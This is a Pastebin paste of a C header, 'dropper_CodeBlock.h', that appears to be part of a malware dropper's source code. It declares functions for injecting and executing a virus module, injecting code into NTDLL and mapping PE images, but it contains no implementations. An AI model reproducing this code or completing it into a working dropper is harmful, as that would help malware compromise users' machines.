Advertisement
FlyFar

dropper_CodeBlock.h

Feb 19th, 2023
529
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.92 KB | Cybersecurity | 0 0
  1. #ifndef __CODEBLOCK_H__
  2. #define __CODEBLOCK_H__
  3.  
  4. #include "StdAfx.h"
  5. #include "define.h"
  6.  
  7. #include "9. AssemblyBlock2.h"
  8.  
  9. INT32 BLOCK4_InjectAndExecuteVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader);
  10. INT32 BLOCK4_ExecuteLibrary(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader);
  11. void BLOCK4_CopyPEHeaderInfo(PGENERAL_INFO_BLOCK sInfoBlock, PIMAGE_NT_HEADERS pImageNT, INT32 iVirusModuleSize);
  12. NTSTATUS BLOCK4_AlignAddresses(PIMAGE_DOS_HEADER *pImageDOS);
  13. void BLOCK4_memcpy(void *pDestination, const void *pSource, unsigned int iSize);
  14. void BLOCK4_CopyDataIntoMapView(PVOID pVirusModule, PIMAGE_NT_HEADERS pImageNT, LPVOID pMapViewOfFile);
  15. INT32 BLOCK4_InjectCodeIntoNTDLL(ASM_CODE_BLOCKS_HEADER *sASMCodeBlocksHeader, PHARDCODED_ADDRESSES pHardAddrs);
  16. INT32 BLOCK4_LoadVirusModuleInfo(PHARDCODED_ADDRESSES pHardAddrs, GENERAL_INFO_BLOCK *sInfoBlock, PVOID pVirusModule, INT32 iVirusModuleSize);
  17. void BLOCK4_END(void);
  18.  
  19. #endif
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement